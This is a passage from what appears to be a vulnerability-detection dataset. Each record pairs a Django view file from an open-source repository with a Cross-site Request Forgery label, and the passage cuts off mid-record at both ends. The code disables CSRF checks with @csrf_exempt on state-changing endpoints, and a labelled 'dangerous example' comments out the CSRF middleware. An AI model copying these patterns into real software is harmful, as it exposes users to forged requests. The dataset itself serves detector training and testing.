payload = json.loads(request.body)\n num_created = bulk_add_multi_annotations_v2(payload)\n return JsonResponse({\"created\": num_created})\n\n\n@api_view([\"POST\"])\n@csrf_exempt\ndef add_annotations_by_internal_identifiers_v2(request, dataset_name):\n dataset = get_object_or_404(Dataset, name=dataset_name)\n\n payload = json.loads(request.body)\n image_identifiers = payload[\"identifiers\"]\n images = DatasetItem.objects.filter(\n dataset=dataset, identifier__in=image_identifiers\n )\n num_created = bulk_add_single_tag_annotations_v2(payload, images)\n return JsonResponse({\"created\": num_created})\n\n\n@api_view([\"POST\"])\n@csrf_exempt\ndef add_annotations_to_result_set_v2(request):\n payload = json.loads(request.body)\n result_set_id = payload[\"result_set_id\"]\n lower_bound = float(payload[\"from\"])\n upper_bound = float(payload[\"to\"])\n\n result_set = current_result_sets[result_set_id]\n result_ranking = result_set.ranking\n # e.g., lower_bound=0.0, upper_bound=0.5 -> second half of the result set\n start_index = math.ceil(len(result_ranking) * (1.0 - upper_bound))\n end_index = math.floor(len(result_ranking) * (1.0 - lower_bound))\n image_pks = result_ranking[start_index:end_index]\n\n images = DatasetItem.objects.filter(pk__in=image_pks)\n num_created = bulk_add_single_tag_annotations_v2(payload, images)\n return JsonResponse({\"created\": num_created})\n\n\ndef bulk_add_single_tag_annotations_v2(payload, images):\n '''Adds annotations for a single tag to many dataset items'''\n if not images:\n return 0\n\n user_email = payload[\"user\"]\n category_name = payload[\"category\"]\n mode_name = payload[\"mode\"]\n created_by = payload.get(\"created_by\",\n \"tag\" if len(images) == 1 else \"tag-bulk\")\n\n dataset = None\n if len(images) > 0:\n dataset = images[0].dataset\n\n user, _ = User.objects.get_or_create(email=user_email)\n category, _ = Category.objects.get_or_create(name=category_name)\n mode, _ = Mode.objects.get_or_create(name=mode_name)\n\n Annotation.objects.filter(\n dataset_item__in=images, category=category, is_box=False).delete()\n\n # TODO: Add an actual endpoint to delete annotations (probably by pk); don't rely\n # on this hacky \"TOMBSTONE\" string\n annotations = [\n Annotation(\n dataset_item=di,\n user=user,\n category=category,\n mode=mode,\n is_box=False,\n misc_data={\"created_by\": created_by},\n )\n for di in images\n ]\n bulk_add_annotations_v2(dataset, annotations)\n\n return len(annotations)\n\n\ndef bulk_add_multi_annotations_v2(payload : Dict):\n '''Adds multiple annotations for the same dataset and user to the database\n at once'''\n dataset_name = payload[\"dataset\"]\n dataset = get_object_or_404(Dataset, name=dataset_name)\n user_email = payload[\"user\"]\n user, _ = User.objects.get_or_create(email=user_email)\n created_by = payload.get(\"created_by\",\n \"tag\" if len(payload[\"annotations\"]) == 1 else\n \"tag-bulk\")\n\n # Get pks\n idents = [ann['identifier'] for ann in payload[\"annotations\"]\n if 'identifier' in ann]\n di_pks = list(DatasetItem.objects.filter(\n dataset=dataset, identifier__in=idents\n ).values_list(\"pk\", \"identifier\"))\n ident_to_pk = {ident: pk for pk, ident in di_pks}\n\n cats = {}\n modes = {}\n to_delete = defaultdict(set)\n annotations = []\n for ann in payload[\"annotations\"]:\n db_ann = Annotation()\n category_name = ann[\"category\"]\n mode_name = ann[\"mode\"]\n\n if category_name not in cats:\n cats[category_name] = Category.objects.get_or_create(\n name=category_name)[0]\n if mode_name not in modes:\n modes[mode_name] = Mode.objects.get_or_create(\n name=mode_name)[0]\n\n if \"identifier\" in ann:\n pk = ident_to_pk[ann[\"identifier\"]]\n else:\n pk = ann[\"pk\"]\n\n db_ann.dataset_item_id = pk\n db_ann.user = user\n db_ann.category = cats[category_name]\n db_ann.mode = modes[mode_name]\n\n db_ann.is_box = ann.get(\"is_box\", False)\n if db_ann.is_box:\n db_ann.bbox_x1 = ann[\"x1\"]\n db_ann.bbox_y1 = ann[\"y1\"]\n db_ann.bbox_x2 = ann[\"x2\"]\n db_ann.bbox_y2 = ann[\"y2\"]\n else:\n to_delete[db_ann.category].add(pk)\n\n db_ann.misc_data={\"created_by\": created_by}\n annotations.append(db_ann)\n\n for cat, pks in to_delete.items():\n # Delete per-frame annotations for the category if they exist since\n # we should only have on mode per image\n Annotation.objects.filter(\n category=cat, dataset_item_id__in=pks, is_box=False).delete()\n\n # TODO: Add an actual endpoint to delete annotations (probably by pk); don't rely\n # on this hacky \"TOMBSTONE\" string\n bulk_add_annotations_v2(dataset, annotations)\n\n return len(annotations)\n\n\ndef bulk_add_annotations_v2(dataset, annotations):\n '''Handles book keeping for adding many annotations at once'''\n Annotation.objects.bulk_create(annotations)\n counts = defaultdict(int)\n for ann in annotations:\n counts[(ann.category, ann.mode)] += 1\n\n for (cat, mode), count in counts.items():\n category_count, _ = CategoryCount.objects.get_or_create(\n dataset=dataset,\n category=cat,\n mode=mode\n )\n category_count.count += count\n category_count.save()\n\n\n@api_view([\"POST\"])\n@csrf_exempt\ndef delete_category_v2(request):\n payload = json.loads(request.body)\n category = payload[\"category\"]\n\n category = Category.objects.get(name=category)\n category.delete()\n\n return JsonResponse({\"status\": \"success\"})\n\n\n@api_view([\"POST\"])\n@csrf_exempt\ndef update_category_v2(request):\n payload = json.loads(request.body)\n\n old_category_name = payload[\"oldCategory\"]\n new_category_name = payload[\"newCategory\"]\n\n category = Category.objects.get(name=old_category_name)\n category.name = new_category_name\n category.save()\n\n return JsonResponse({\"status\": \"success\"})\n\n\n@api_view([\"GET\"])\n@csrf_exempt\ndef get_category_counts_v2(request, dataset_name):\n dataset = get_object_or_404(Dataset, name=dataset_name)\n counts = CategoryCount.objects.filter(dataset=dataset).values(\n \"category__name\", \"mode__name\", \"count\"\n )\n n_labeled = defaultdict(dict)\n for c in counts:\n category = c[\"category__name\"]\n mode = c[\"mode__name\"]\n count = c[\"count\"]\n n_labeled[category][mode] = count\n\n return JsonResponse(n_labeled)", "dangerousExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t # 'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: The line is commented out, which disables CSRF protection.", "safeExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: CSRF protection is enabled, which makes code safe.", "contexts": [{"lineNo": 45, "eventType": "sink", "messageKey": "pythonchk.CROSS_SITE_REQUEST_FORGERY.PYTHON.defect.decorator", "params": {}}]}} {"id": "643ae45e9dc720f0f51957ee84b48f4bdc2fc0d49f131e834d886f45800511a2", "license": {"spdx": ["MIT"], "repo": "goupaz/babylon", "path": "jts/backend/jobapps/views.py", "repo_head_hexsha": "4e638d02705469061e563fec349676d8faa9f648", "stack_hexsha": "3f18a598378fac5606353de6db627c25234fa321", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-site Request Forgery", "issueDescriptionEn": "Cross-site Request Forgery is the attack that induces a user to submit unintended requests such as changes, deletions, registrations, etc.\nto a website as intended by an attacker.\nBoth Django and Flask, the most popular frameworks for Python, support the CSRF token. For security reasons, Django uses the `{% csrf token %}` tag for the CSRF token while Flask uses the `{{form.csrf_token}}` tag via the Flask-WTF extension library.\nDjango and Flask provide CSRF protection by using CSRF tokens by default in middleware and frameworks.\n`csrf_token` needs to be used inside the form tag for this feature.", "issueLineNumber": 27, "entireCode": "from datetime import datetime as dt\nfrom django.utils import timezone\nimport uuid\nfrom django.contrib.auth import get_user_model\nfrom django.http import JsonResponse\nfrom django.views.decorators.csrf import csrf_exempt\nfrom rest_framework.decorators import api_view\n\nfrom company.utils import get_or_create_company\nfrom position.utils import get_or_insert_position\nfrom utils import utils\nfrom utils.error_codes import ResponseCodes\nfrom utils.generic_json_creator import create_response\nfrom .models import JobApplication, Contact, ApplicationStatus, StatusHistory\nfrom .models import JobApplicationNote, JobApplicationFile\nfrom .models import Source\nfrom alumni.serializers import AlumniSerializer\nfrom .serializers import ApplicationStatusSerializer\nfrom .serializers import JobApplicationNoteSerializer, JobApplicationFileSerializer\nfrom .serializers import JobApplicationSerializer, ContactSerializer\nfrom .serializers import SourceSerializer\nfrom .serializers import StatusHistorySerializer\n\nUser = get_user_model()\n\n\n@csrf_exempt\n@api_view([\"GET\", \"POST\", \"PUT\", \"PATCH\", \"DELETE\"])\ndef job_applications(request):\n body = request.data\n if 'recaptcha_token' in body and utils.verify_recaptcha(None, body['recaptcha_token'],\n 'add_job') == ResponseCodes.verify_recaptcha_failed:\n return JsonResponse(create_response(data=None, success=False, error_code=ResponseCodes.verify_recaptcha_failed),\n safe=False)\n if request.method == \"GET\":\n timestamp = request.GET.get('timestamp')\n if timestamp is not None:\n timestamp = int(timestamp) / 1000\n if timestamp is None:\n return JsonResponse(create_response(data=None, success=False, error_code=ResponseCodes.invalid_parameters))\n profile = request.user\n time = dt.fromtimestamp(int(timestamp))\n user_job_apps = JobApplication.objects.filter(created__gte=time)\n job_application_list = JobApplicationSerializer(instance=user_job_apps, many=True, context={\n 'user': request.user}).data\n response = {'data': job_application_list, 'synching': profile.synching}\n return JsonResponse(create_response(data=response), safe=False)\n status_id = request.GET.get('status_id')\n if status_id is not None:\n user_job_apps = JobApplication.objects.filter(\n application_status__id=status_id, user__id=request.user.id, is_deleted=False).order_by('-apply_date')\n else:\n user_job_apps = JobApplication.objects.filter(\n user_id=request.user.id, is_deleted=False).order_by('-apply_date')\n job_applications_list = JobApplicationSerializer(instance=user_job_apps, many=True, context={\n 'user': request.user}).data\n return JsonResponse(create_response(data=job_applications_list), safe=False)\n elif request.method == \"POST\":\n job_title = body['job_title']\n company = body['company']\n application_date = body['application_date']\n status = int(body['status_id'])\n source = body['source']\n\n jt = get_or_insert_position(job_title)\n jc = get_or_create_company(company)\n\n if Source.objects.filter(value__iexact=source).count() == 0:\n source = Source.objects.create(value=source)\n else:\n source = Source.objects.get(value__iexact=source)\n\n job_application = JobApplication(position=jt, company_object=jc, apply_date=application_date,\n msg_id='', app_source=source, user=request.user)\n job_application.application_status = ApplicationStatus.objects.get(pk=status)\n job_application.save()\n return JsonResponse(\n create_response(\n data=JobApplicationSerializer(instance=job_application, many=False, context={'user': request.user}).data),\n safe=False)\n elif request.method == \"PUT\":\n status_id = body.get('status_id')\n rejected = body.get('rejected')\n job_application_ids = []\n if 'jobapp_ids' in body:\n job_application_ids = body['jobapp_ids']\n if 'jobapp_id' in body:\n job_application_ids.append(body['jobapp_id'])\n if len(job_application_ids) == 0:\n return JsonResponse(create_response(success=False, error_code=ResponseCodes.record_not_found), safe=False)\n elif rejected is None and status_id is None:\n return JsonResponse(create_response(success=False, error_code=ResponseCodes.record_not_found), safe=False)\n else:\n user_job_apps = JobApplication.objects.filter(pk__in=job_application_ids)\n if user_job_apps.count() == 0:\n return JsonResponse(create_response(success=False, error_code=ResponseCodes.record_not_found), safe=False)\n else:\n for user_job_app in user_job_apps:\n if user_job_app.user == request.user:\n if status_id is None:\n user_job_app.is_rejected = rejected\n else:\n new_status = ApplicationStatus.objects.filter(pk=status_id)\n if new_status.count() == 0:\n return JsonResponse(\n create_response(data=None, success=False,\n error_code=ResponseCodes.invalid_parameters),\n safe=False)\n else:\n if rejected is None:\n user_job_app.application_status = new_status[0]\n else:\n user_job_app.application_status = new_status[0]\n user_job_app.is_rejected = rejected\n status_history = StatusHistory(\n job_post=user_job_app, application_status=new_status[0])\n status_history.save()\n if rejected is not None:\n user_job_app.rejected_date = timezone.now()\n user_job_app.updated_date = timezone.now()\n user_job_app.save()\n return JsonResponse(create_response(data=None), safe=False)\n elif request.method == \"PATCH\":\n job_app_id = body.get('jobapp_id')\n if job_app_id is None:\n return JsonResponse(create_response(data=None, success=False, error_code=ResponseCodes.record_not_found),\n safe=False)\n user_job_app = JobApplication.objects.get(pk=job_app_id)\n\n if user_job_app.user != request.user:\n return JsonResponse(create_response(data=None, success=False, error_code=ResponseCodes.record_not_found),\n safe=False)\n if user_job_app.msg_id is not None and user_job_app.msg_id != '':\n return JsonResponse(create_response(data=None, success=False, error_code=ResponseCodes.record_not_found),\n safe=False)\n\n job_title = body.get('job_title')\n company = body.get('company')\n application_date = body.get('application_date')\n source = body.get('source')\n\n if application_date is not None:\n user_job_app.apply_date = application_date\n if job_title is not None:\n user_job_app.position = get_or_insert_position(job_title)\n if company is not None:\n user_job_app.company_object = get_or_create_company(company)\n if source is not None:\n if Source.objects.filter(value__iexact=source).count() == 0:\n source = Source.objects.create(value=source)\n else:\n source = Source.objects.get(value__iexact=source)\n user_job_app.app_source = source\n user_job_app.updated_date = timezone.now()\n user_job_app.save()\n return JsonResponse(create_response(\n data=JobApplicationSerializer(instance=user_job_app, many=False, context={'user': request.user}).data),\n safe=False)\n elif request.method == \"DELETE\":\n job_application_ids = []\n if 'jobapp_ids' in body:\n job_application_ids = body['jobapp_ids']\n if 'jobapp_id' in body:\n job_application_ids.append(body['jobapp_id'])\n if len(job_application_ids) == 0 or JobApplication.objects.filter(pk__in=job_application_ids).count() == 0:\n return JsonResponse(create_response(success=False, error_code=ResponseCodes.record_not_found), safe=False)\n else:\n user_job_apps = JobApplication.objects.filter(pk__in=job_application_ids)\n for user_job_app in user_job_apps:\n if user_job_app.user == request.user:\n user_job_app.deleted_date = timezone.now()\n user_job_app.is_deleted = True\n user_job_app.save()\n return JsonResponse(create_response(data=None), safe=False)\n\n\n@csrf_exempt\n@api_view([\"GET\"])\ndef statuses(request):\n statuses_list = ApplicationStatus.objects.all()\n statuses_list = ApplicationStatusSerializer(instance=statuses_list, many=True).data\n return JsonResponse(create_response(data=statuses_list), safe=False)\n\n\n@csrf_exempt\n@api_view([\"GET\"])\ndef sources(request):\n source_list = SourceSerializer(instance=Source.objects.all(), many=True).data\n return JsonResponse(create_response(data=source_list), safe=False)\n\n\n@csrf_exempt\n@api_view([\"GET\"])\ndef status_history(request, job_app_pk):\n if job_app_pk is None:\n return JsonResponse(create_response(data=None, success=False, error_code=ResponseCodes.invalid_parameters), safe=False)\n else:\n statuses_list = StatusHistory.objects.filter(job_post__pk=job_app_pk)\n statuses_list = StatusHistorySerializer(instance=statuses_list, many=True).data\n return JsonResponse(create_response(data=statuses_list), safe=False)\n\n\n@csrf_exempt\n@api_view([\"GET\", \"POST\", \"PUT\", \"DELETE\"])\ndef contacts(request, job_app_pk):\n body = request.data\n if request.method == \"GET\":\n data = {}\n if job_app_pk is None:\n return JsonResponse(create_response(data=None, success=False, error_code=ResponseCodes.invalid_parameters), safe=False)\n else:\n contacts_list = Contact.objects.filter(job_post__pk=job_app_pk)\n contacts_list = ContactSerializer(instance=contacts_list, many=True).data\n\n data['contacts'] = contacts_list\n\n user_profile = request.user\n if not user_profile.user_type.alumni_listing_enabled:\n alumni = []\n else:\n jobapp = JobApplication.objects.get(pk=job_app_pk)\n alumni_list = User.objects.filter(college=user_profile.college, company=jobapp.company_object,\n user_type__name__iexact='Alumni', is_demo=False)\n alumni = AlumniSerializer(\n instance=alumni_list, many=True, context={'user': request.user}).data\n data['alumni'] = alumni\n return JsonResponse(create_response(data=data, success=True, error_code=ResponseCodes.success), safe=False)\n elif request.method == \"POST\":\n first_name = body.get('first_name')\n last_name = body.get('last_name')\n if job_app_pk is None or first_name is None or last_name is None:\n return JsonResponse(create_response(data=None, success=False, error_code=ResponseCodes.invalid_parameters),\n safe=False)\n user_job_app = JobApplication.objects.get(pk=job_app_pk)\n if user_job_app.user == request.user:\n phone_number = body.get('phone_number')\n linkedin_url = body.get('linkedin_url')\n description = body.get('description')\n email = body.get('email')\n job_title = body.get('job_title')\n jt = None\n jc = None\n if job_title is not None:\n jt = get_or_insert_position(job_title)\n\n company = body.get('company')\n if company is not None:\n jc = get_or_create_company(company)\n\n contact = Contact(\n job_post=user_job_app, first_name=first_name, last_name=last_name, phone_number=phone_number,\n linkedin_url=linkedin_url,\n description=description, email=email,\n position=jt, company=jc)\n contact.save()\n data = ContactSerializer(\n instance=contact, many=False).data\n return JsonResponse(create_response(data=data), safe=False)\n else:\n return JsonResponse(\n create_response(data=None, success=False, error_code=ResponseCodes.record_not_found),\n safe=False)\n elif request.method == \"PUT\":\n contact_id = body.get('contact_id')\n if contact_id is None:\n return JsonResponse(create_response(data=None, success=False, error_code=ResponseCodes.invalid_parameters),\n safe=False)\n contact = Contact.objects.get(pk=contact_id)\n if contact.job_post.user == request.user:\n first_name = body.get('first_name')\n if first_name is not None:\n contact.first_name = first_name\n last_name = body.get('last_name')\n if last_name is not None:\n contact.last_name = last_name\n email = body.get('email')\n if email is not None:\n contact.email = email\n phone_number = body.get('phone_number')\n if phone_number is not None:\n contact.phone_number = phone_number\n linkedin_url = body.get('linkedin_url')\n if linkedin_url is not None:\n contact.linkedin_url = linkedin_url\n description = body.get('description')\n if description is not None:\n contact.description = description\n job_title = body.get('job_title')\n if job_title is not None:\n contact.position = get_or_insert_position(job_title)\n company = body.get('company')\n if company is not None:\n contact.company = get_or_create_company(company)\n\n contact.update_date = timezone.now()\n contact.save()\n data = ContactSerializer(\n instance=contact, many=False).data\n return JsonResponse(create_response(data=data, success=True, error_code=ResponseCodes.success),\n safe=False)\n else:\n return JsonResponse(\n create_response(data=None, success=False, error_code=ResponseCodes.record_not_found),\n safe=False)\n elif request.method == \"DELETE\":\n contact_id = body.get('contact_id')\n if contact_id is None:\n return JsonResponse(create_response(data=None, success=False, error_code=ResponseCodes.invalid_parameters),\n safe=False)\n user_job_app_contact = Contact.objects.filter(\n pk=contact_id)\n if user_job_app_contact.count() == 0:\n return JsonResponse(create_response(data=None, success=False, error_code=ResponseCodes.record_not_found),\n safe=False)\n user_job_app_contact = user_job_app_contact[0]\n if user_job_app_contact.job_post.user == request.user:\n user_job_app_contact.delete()\n return JsonResponse(create_response(data=None, success=True, error_code=ResponseCodes.success), safe=False)\n else:\n return JsonResponse(create_response(data=None, success=False, error_code=ResponseCodes.record_not_found),\n safe=False)\n\n\n@csrf_exempt\n@api_view([\"GET\", \"POST\", \"PUT\", \"DELETE\"])\ndef notes(request, job_app_pk):\n body = request.data\n if 'recaptcha_token' in body and utils.verify_recaptcha(None, body['recaptcha_token'],\n 'jobapp_note') == ResponseCodes.verify_recaptcha_failed:\n return JsonResponse(\n create_response(data=None, success=False, error_code=ResponseCodes.verify_recaptcha_failed),\n safe=False)\n if request.method == \"GET\":\n if job_app_pk is None:\n return JsonResponse(create_response(data=None, success=False, error_code=ResponseCodes.invalid_parameters),\n safe=False)\n else:\n notes_list = JobApplicationNote.objects.filter(\n job_post__pk=job_app_pk).order_by('-update_date', '-created_date')\n notes_list = JobApplicationNoteSerializer(\n instance=notes_list, many=True).data\n return JsonResponse(create_response(data=notes_list, success=True, error_code=ResponseCodes.success),\n safe=False)\n elif request.method == \"POST\":\n description = body['description']\n if job_app_pk is None or description is None:\n return JsonResponse(create_response(data=None, success=False, error_code=ResponseCodes.invalid_parameters),\n safe=False)\n else:\n user_job_app = JobApplication.objects.get(pk=job_app_pk)\n if user_job_app.user == request.user:\n note = JobApplicationNote(\n job_post=user_job_app, description=description)\n note.save()\n data = JobApplicationNoteSerializer(\n instance=note, many=False).data\n return JsonResponse(create_response(data=data, success=True, error_code=ResponseCodes.success),\n safe=False)\n else:\n return JsonResponse(\n create_response(data=None, success=False, error_code=ResponseCodes.record_not_found), safe=False)\n elif request.method == \"PUT\":\n jobapp_note_id = body['jobapp_note_id']\n description = body['description']\n if jobapp_note_id is None:\n return JsonResponse(\n create_response(data=None, success=False, error_code=ResponseCodes.invalid_parameters), safe=False)\n else:\n note = JobApplicationNote.objects.get(pk=jobapp_note_id)\n if note.job_post.user == request.user:\n note.description = description\n note.update_date = timezone.now()\n note.save()\n data = JobApplicationNoteSerializer(\n instance=note, many=False).data\n return JsonResponse(create_response(data=data, success=True, error_code=ResponseCodes.success),\n safe=False)\n else:\n return JsonResponse(create_response(data=None, success=False, error_code=ResponseCodes.record_not_found),\n safe=False)\n elif request.method == \"DELETE\":\n jobapp_note_id = body['jobapp_note_id']\n if jobapp_note_id is None:\n return JsonResponse(\n create_response(data=None, success=False, error_code=ResponseCodes.invalid_parameters), safe=False)\n else:\n user_job_app_note = JobApplicationNote.objects.get(\n pk=jobapp_note_id)\n if user_job_app_note.job_post.user == request.user:\n user_job_app_note.delete()\n return JsonResponse(create_response(data=None, success=True, error_code=ResponseCodes.success), safe=False)\n else:\n return JsonResponse(\n create_response(data=None, success=False, error_code=ResponseCodes.record_not_found),\n safe=False)\n\n\n@csrf_exempt\n@api_view([\"GET\", \"POST\", \"DELETE\"])\ndef files(request, job_app_pk):\n body = request.data\n if request.method == \"GET\":\n if job_app_pk is None:\n return JsonResponse(create_response(data=None, success=False, error_code=ResponseCodes.invalid_parameters),\n safe=False)\n else:\n files_list = JobApplicationFile.objects.filter(\n job_post__pk=job_app_pk).order_by('-update_date', '-created_date')\n files_list = JobApplicationFileSerializer(\n instance=files_list, many=True).data\n return JsonResponse(create_response(data=files_list, success=True, error_code=ResponseCodes.success),\n safe=False)\n elif request.method == \"POST\":\n file = body['file']\n if job_app_pk is None or file is None:\n return JsonResponse(create_response(data=None, success=False, error_code=ResponseCodes.invalid_parameters),\n safe=False)\n else:\n ext = file.name.split('.')[-1]\n filename = \"%s.%s\" % (uuid.uuid4(), ext)\n name = file.name.replace(('.' + ext), '')\n filename = name + '_' + filename\n\n user_job_app = JobApplication.objects.get(pk=job_app_pk)\n if user_job_app.user == request.user:\n jobapp_file = JobApplicationFile(\n job_post=user_job_app, name=name)\n jobapp_file.save()\n jobapp_file.file.save(filename, file, save=True)\n data = JobApplicationFileSerializer(\n instance=jobapp_file, many=False).data\n return JsonResponse(create_response(data=data, success=True, error_code=ResponseCodes.success),\n safe=False)\n else:\n return JsonResponse(\n create_response(data=None, success=False, error_code=ResponseCodes.record_not_found), safe=False)\n elif request.method == \"DELETE\":\n jobapp_file_id = body['jobapp_file_id']\n if jobapp_file_id is None:\n return JsonResponse(\n create_response(data=None, success=False, error_code=ResponseCodes.invalid_parameters), safe=False)\n else:\n user_job_app_file = JobApplicationFile.objects.get(\n pk=jobapp_file_id)\n if user_job_app_file.job_post.user == request.user:\n user_job_app_file.delete()\n return JsonResponse(create_response(data=None, success=True, error_code=ResponseCodes.success), safe=False)\n else:\n return JsonResponse(\n create_response(data=None, success=False, error_code=ResponseCodes.record_not_found),\n safe=False)", "dangerousExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t # 'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: The line is commented out, which disables CSRF protection.", "safeExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: CSRF protection is enabled, which makes code safe.", "contexts": [{"lineNo": 27, "eventType": "sink", "messageKey": "pythonchk.CROSS_SITE_REQUEST_FORGERY.PYTHON.defect.decorator", "params": {}}]}} {"id": "935156f2efd334118e231ca715ee1ec536f8aff69b573238c1838a82021eed59", "license": {"spdx": ["MIT"], "repo": "seanpierce/django-itr", "path": "api/views.py", "repo_head_hexsha": "01951612d4d49c328c89487efc83e65908c8ad58", "stack_hexsha": "cc298addf220b3e99a59d78206d28959947caf14", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-site Request Forgery", "issueDescriptionEn": "Cross-site Request Forgery is the attack that induces a user to submit unintended requests such as changes, deletions, registrations, etc.\nto a website as intended by an attacker.\nBoth Django and Flask, the most popular frameworks for Python, support the CSRF token. For security reasons, Django uses the `{% csrf token %}` tag for the CSRF token while Flask uses the `{{form.csrf_token}}` tag via the Flask-WTF extension library.\nDjango and Flask provide CSRF protection by using CSRF tokens by default in middleware and frameworks.\n`csrf_token` needs to be used inside the form tag for this feature.", "issueLineNumber": 25, "entireCode": "# import json\nimport uuid\n\nfrom django.apps import apps\nfrom django.core import serializers\nfrom django.http import HttpResponse\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.shortcuts import render\nfrom django.shortcuts import redirect\nfrom django.conf import settings\n\nfrom .api_helpers import *\n\nEpisode = apps.get_model('episodes', 'Episode')\nSubscriptionRequest = apps.get_model('subscribers', 'SubscriptionRequest')\nSubscriber = apps.get_model('subscribers', 'Subscriber')\n\n\ndef get_episodes(request):\n episodes = Episode.objects.all()\n res = serializers.serialize(\"json\", episodes)\n return HttpResponse(res, content_type='application/json')\n\n\n@csrf_exempt\ndef create_new_subscription_request(request):\n if not valid_method('POST', request):\n \treturn error_response('Error: Method must be POST', 405)\n\n email = request.POST.get('email', False)\n if not email:\n return error_response('Error: No email provided in request', 422)\n\n subscription_request, created_new = SubscriptionRequest.objects.get_or_create(\n email=email)\n\n if not created_new:\n subscription_request.token = uuid.uuid4()\n subscription_request.save()\n\n if send_confirmation_email(subscription_request):\n return response('Email sent to ' + email)\n else:\n return error_response('Unable to send email to ' + email, 500)\n\n\ndef create_subscriber(request):\n email = request.GET.get('email', False)\n token = request.GET.get('token', False)\n\n if (not email or not token):\n return error_response(\"Error: Unable to process request. Missing information\", 422)\n\n subscription_request = SubscriptionRequest.objects.get(email=email, token=token)\n if not subscription_request:\n return error_response(\"Error: Subscription request not found\", 404)\n\n subscriber, created_new = Subscriber.objects.get_or_create(email=email)\n\n if created_new:\n \texists = 'False'\n else:\n \texists = 'True'\n\n return redirect('/thanks/?email=' + email + '&exists=' + exists)\n\ndef thanks(request):\n\troot = settings.HOST_URL\n\temail = request.GET.get('email', False)\n\texists = request.GET.get('exists', False)\n\treturn render(request,\n\t\t'api/thanks.html',\n\t\t{\n\t\t\t'email': email,\n\t\t\t'root': root,\n\t\t\t'exists': exists\n\t\t})", "dangerousExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t # 'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: The line is commented out, which disables CSRF protection.", "safeExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: CSRF protection is enabled, which makes code safe.", "contexts": [{"lineNo": 25, "eventType": "sink", "messageKey": "pythonchk.CROSS_SITE_REQUEST_FORGERY.PYTHON.defect.decorator", "params": {}}]}} {"id": "9213185cdf4e5d74378fd07e3ff8bb983aeda2003f412fae692d76533bbfb673", "license": {"spdx": ["Apache-2.0"], "repo": "ZhuoZhuoCrayon/bk-sops", "path": "gcloud/apigw/views/query_task_count.py", "repo_head_hexsha": "d1475d53c19729915727ce7adc24e3226f15e332", "stack_hexsha": "d717ca185441b7405138c795fdcfae7c8f70ce12", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-site Request Forgery", "issueDescriptionEn": "Cross-site Request Forgery is the attack that induces a user to submit unintended requests such as changes, deletions, registrations, etc.\nto a website as intended by an attacker.\nBoth Django and Flask, the most popular frameworks for Python, support the CSRF token. For security reasons, Django uses the `{% csrf token %}` tag for the CSRF token while Flask uses the `{{form.csrf_token}}` tag via the Flask-WTF extension library.\nDjango and Flask provide CSRF protection by using CSRF tokens by default in middleware and frameworks.\n`csrf_token` needs to be used inside the form tag for this feature.", "issueLineNumber": 36, "entireCode": "# -*- coding: utf-8 -*-\n\"\"\"\nTencent is pleased to support the open source community by making 蓝鲸智云PaaS平台社区版 (BlueKing PaaS Community\nEdition) available.\nCopyright (C) 2017-2020 THL A29 Limited, a Tencent company. All rights reserved.\nLicensed under the MIT License (the \"License\"); you may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\nhttp://opensource.org/licenses/MIT\nUnless required by applicable law or agreed to in writing, software distributed under the License is distributed on\nan \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the\nspecific language governing permissions and limitations under the License.\n\"\"\"\n\n\nimport ujson as json\nfrom django.http import JsonResponse\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.views.decorators.http import require_POST\n\nfrom blueapps.account.decorators import login_exempt\nfrom gcloud import err_code\nfrom gcloud.apigw.decorators import api_verify_proj_perms\nfrom gcloud.apigw.decorators import mark_request_whether_is_trust\nfrom gcloud.apigw.decorators import project_inject\nfrom gcloud.contrib.analysis.analyse_items import task_flow_instance\nfrom gcloud.core.permissions import project_resource\nfrom gcloud.apigw.views.utils import logger\n\ntry:\n from bkoauth.decorators import apigw_required\nexcept ImportError:\n from packages.bkoauth.decorators import apigw_required\n\n\n@login_exempt\n@csrf_exempt\n@require_POST\n@apigw_required\n@mark_request_whether_is_trust\n@project_inject\n@api_verify_proj_perms([project_resource.actions.view])\ndef query_task_count(request, project_id):\n 